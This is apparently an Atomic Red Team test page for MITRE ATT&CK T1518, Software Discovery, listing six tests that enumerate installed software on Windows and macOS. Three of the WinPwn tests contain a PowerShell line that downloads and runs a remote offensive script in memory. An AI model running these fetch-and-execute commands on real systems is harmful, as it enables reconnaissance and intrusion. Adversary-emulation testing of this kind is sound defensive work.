# T1518 - Software Discovery

## Description from ATT&CK

> Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
> 
> Such software may be deployed widely across the environment for configuration management or security reasons, such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072), and may allow adversaries broad access to infect devices or move laterally.
> 
> Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).

[Source](https://attack.mitre.org/techniques/T1518)

## Atomic Tests

- [Atomic Test #1: Find and Display Internet Explorer Browser Version](#atomic-test-1-find-and-display-internet-explorer-browser-version)
- [Atomic Test #2: Applications Installed](#atomic-test-2-applications-installed)
- [Atomic Test #3: Find and Display Safari Browser Version](#atomic-test-3-find-and-display-safari-browser-version)
- [Atomic Test #4: WinPwn - Dotnetsearch](#atomic-test-4-winpwn---dotnetsearch)
- [Atomic Test #5: WinPwn - DotNet](#atomic-test-5-winpwn---dotnet)
- [Atomic Test #6: WinPwn - powerSQL](#atomic-test-6-winpwn---powersql)

### Atomic Test #1: Find and Display Internet Explorer Browser Version

Query the registry to determine the version of internet explorer installed on the system.
Upon execution, version information about internet explorer will be displayed.

**Supported Platforms:** Windows

**auto_generated_guid:** `68[PII_REDACTED]-47ee-a5fa-7e74806420a4`

#### Attack Commands: Run with `command_prompt`!

```cmd
reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer" /v svcVersion
```

### Atomic Test #2: Applications Installed

Query the registry to determine software and versions installed on the system. Upon execution a table of
software name and version information will be displayed.

**Supported Platforms:** Windows

**auto_generated_guid:** `c49978f6-bd6e-4221-ad2c-9e3e30cc1e3b`

#### Attack Commands: Run with `powershell`!

```powershell
Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize
Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize
```

### Atomic Test #3: Find and Display Safari Browser Version

Adversaries may attempt to get a listing of non-security related software that is installed on the system. Adversaries may use the information from Software Discovery during automated discovery to shape follow-on behaviors

**Supported Platforms:** macOS

**auto_generated_guid:** `103d6533-fd2a-4d08-976a-4a598565280f`

#### Attack Commands: Run with `sh`!

```sh
/usr/libexec/PlistBuddy -c "print :CFBundleShortVersionString" /Applications/Safari.app/Contents/Info.plist
/usr/libexec/PlistBuddy -c "print :CFBundleVersion" /Applications/Safari.app/Contents/Info.plist
```

### Atomic Test #4: WinPwn - Dotnetsearch

Search for any .NET binary file in a share using the Dotnetsearch function of WinPwn

**Supported Platforms:** Windows

**auto_generated_guid:** `7e79a1b6-519e-433c-ad55-3ff293667101`

#### Attack Commands: Run with `powershell`!

```powershell
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Dotnetsearch -noninteractive -consoleoutput
```

### Atomic Test #5: WinPwn - DotNet

Search for .NET Service-Binaries on this system via winpwn dotnet function of WinPwn.

**Supported Platforms:** Windows

**auto_generated_guid:** `10ba02d0-ab76-4f80-940d-451633f24c5b`

#### Attack Commands: Run with `powershell`!

```powershell
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
dotnet -consoleoutput -noninteractive
```

### Atomic Test #6: WinPwn - powerSQL

Start PowerUpSQL Checks using powerSQL function of WinPwn

**Supported Platforms:** Windows

**auto_generated_guid:** `0bb64470-582a-4155-bde2-d6003a95ed34`

#### Attack Commands: Run with `powershell`!

```powershell
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powerSQL -noninteractive -consoleoutput
```